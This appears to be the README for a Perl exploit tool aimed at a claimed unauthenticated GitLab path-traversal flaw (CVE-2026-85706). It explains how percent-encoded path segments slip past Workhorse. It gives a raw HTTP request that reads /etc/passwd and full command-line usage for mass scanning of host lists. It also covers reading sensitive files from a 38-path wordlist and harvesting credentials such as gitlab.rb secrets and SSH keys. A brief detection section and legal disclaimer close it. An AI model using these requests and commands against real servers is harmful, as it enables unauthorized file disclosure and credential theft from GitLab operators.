
Perl PoC exploiting CVE-2026-85706, an unauthenticated GitLab path traversal enabling arbitrary file read, with bulk scanning and credential harvesting.
For authorized penetration testing and Red Team operations only.
Unauthorized use constitutes a criminal offense. See Legal Notice.
CVE-2026-85706 is a CVSS 10.0 path traversal vulnerability in GitLab Community and Enterprise Editions that allows a completely unauthenticated attacker to read arbitrary files from the server filesystem with a single HTTP request. No credentials, no token, no user interaction required.
| Branch | Vulnerable Range | Fixed In |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
GitLab's HTTP stack has three layers:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse acts as a smart reverse proxy: for certain "upload" endpoints (repository commits, file operations), it reads multipart request bodies, saves file data to disk, and rewrites the request before forwarding it to Puma. Crucially, it attaches a JWT header (Gitlab-Workhorse-Api-Request) to every request it proxies. Rails then validates this JWT (via require_gitlab_workhorse!) before executing any handler logic.
Layer 1 — Workhorse route matching:
Workhorse matches request paths using a compiled regex that operates on the raw, percent-encoded byte string. It does NOT decode %XX sequences before matching.
Layer 2 — Puma/Rack routing:
Puma decodes %XX sequences before Grape routes the request. So a request to /repository/%63ommits is decoded to /repository/commits and routed to CommitsController.
Layer 3 — Pre-auth file read:
Once in the Rails handler (which is reached without Workhorse's JWT because Workhorse never matched the request), the handler reads params[:file][:path] from the query string and calls:
File.open(params[:file][:path]) # ← happens BEFORE authentication
By percent-encoding one character in a static path segment, the attacker's request slips past Workhorse undetected:
| Segment | Original | Bypass Form | Encoded Char |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (any) | commits | commits/ | trailing slash |
| (any) | commits | commits.json | Grape suffix |
After the file is opened, the content is exfiltrated via Rack's query-string parser:
Rack::Utils.parse_nested_query(File.read(path))
If the file contains a % not followed by two valid hex digits (which is common in Ruby config files, CI YAML, logs, etc.), Rack raises:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
This 400-response body contains the raw file content up to and including the offending byte — revealing the file's contents to the unauthenticated caller.
Files without exploitable % sequences (e.g., clean /etc/passwd) return a 401 or parameter-validation error after the read: this acts as a file-existence oracle (the read still happened pre-authentication).
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| Module | Package | Role |
|---|---|---|
LWP::UserAgent | libwww-perl | HTTP client (mandatory) |
LWP::Protocol::https | libwww-perl | HTTPS support (mandatory) |
URI::Escape | liburi-perl | Query-string encoding (mandatory) |
Term::ANSIColor | libterm-ansicolor-perl | Colored output (optional) |
JSON | libjson-perl | JSON output mode (optional) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string
| Quick (default) | Full (--full) | |
|---|---|---|
| Requests | ≤9 (1 preflight + ≤4×2) | 27+ |
| Early exit | Yes — stops at first confirmed differential | No — sweeps all 22 forms |
| Version info | No | Yes |
| Bypass forms | 4 representative Files API | All 22 (Commits + Files API) |
| Best for | Fast recon, large host lists | Pentest reports, --file/--scan prep |
Quick check pipeline:
GET /api/v4/version — reachability + GitLab hint/etc/hostname + unique canarycanary → 'local file not present' ∧ hostname ≠ canary → VULNERABLE (exit immediately)Full check pipeline (--full):
--project-id and check modesThe --project-id flag is usable in every mode, including --check and --check-host-list. Understanding the interaction:
| Bypass group | Forms | Project ID dependency |
|---|---|---|
Files API (%66iles, %46iles, re%70ository/files, …) | 14 | None — file read precedes project check by design of the CVE. Any ID (even non-existent) produces the correct signal. |
Commits API (%63ommits, %43ommits, repository/commits/, …) | 8 | Required — project must exist and be anonymously readable. Returns project-gate if not. |
Practical guidance:
--check (quick): uses only Files API forms → project ID irrelevant.--check --full: tests all 22 forms. If you know a public project ID, pass --project-id <N> to also confirm Commits API forms.--check-host-list: a single --project-id rarely maps to a public project across all hosts. Omit it.# Quick check — ≤9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check
# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5 # (default: --project-id 1)
# Full 4-stage check — version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full
# Quick scan of a host list (≤9 probes per host)
./exploit.pl --check-host-list targets.txt
# Full scan of a host list (version info in summary table)
./exploit.pl --check-host-list targets.txt --full
# Host list, JSON output for pipeline integration
./exploit.pl --check-host-list targets.txt --json --output results.json
# Host list with 2-second inter-host delay and saved report
./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt
# Read a single file
./exploit.pl -u https://gitlab.corp.com -f /etc/passwd
# Read GitLab master config and extract credentials
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest
# Full discovery scan with credential harvesting, log to file
./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt
# Custom wordlist, JSON output, 1-second delay between requests
./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json
# Verbose single-file read (shows full request URLs)
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v
| Verdict | Meaning |
|---|---|
leak | File content echoed in the response body via Rack parse error |
leak-fragment | Partial content echo via parameter-name fragment |
read-noecho | HTTP 401 on bypass path — ambiguous: either file read happened pre-auth (vulnerable, clean content with no bad %-sequence), or auth fires before the read (patched server). Use --check to confirm via differential |
missing | Bypass path worked; handler reached; file not present or not readable |
rewrite | Workhorse intercepted this path form — bypass failed |
project-gate | Commits API rejected the project; try Files API forms |
noroute | Rails did not route this path variant |
| Feature | Python PoC | This Perl PoC |
|---|---|---|
| Bypass path variants | 6 | 15 |
| Bulk file scanning (T1083) | ✗ | ✓ Built-in 38-path wordlist |
| Credential harvesting (T1552.001) | ✗ | ✓ 22 credential patterns |
| JSON output | ✗ | ✓ --json |
| File output / tee | ✗ | ✓ --output |
| File-existence oracle messages | Basic | Explicit, color-coded |
| Retry logic | ✗ | ✓ Configurable --retries |
| Per-request delay | ✗ | ✓ --delay (float seconds) |
| Custom User-Agent | ✗ | ✓ --user-agent |
| Namespace/project IDs | ✗ | ✓ Auto-encodes / → %2F |
| Verbose mode | ✗ | ✓ --verbose |
secret_key_base and otp_key_base in gitlab.rb/home/git/.ssh/, /root/.ssh/)Hunt for POST or PUT requests to /api/v4/projects/*/repository/ paths containing:
%63, %43, %72, %70, %66, %46, etc.)file.path query parameter.json format suffix on commits or files endpointsThis tool is provided strictly for:
Unauthorized use against systems you do not own or lack explicit written authorization to test is illegal in virtually every jurisdiction and may result in criminal prosecution under computer misuse laws (CFAA, Computer Misuse Act, etc.).
The author and contributors of this tool assume no liability for any misuse or damage caused by this software.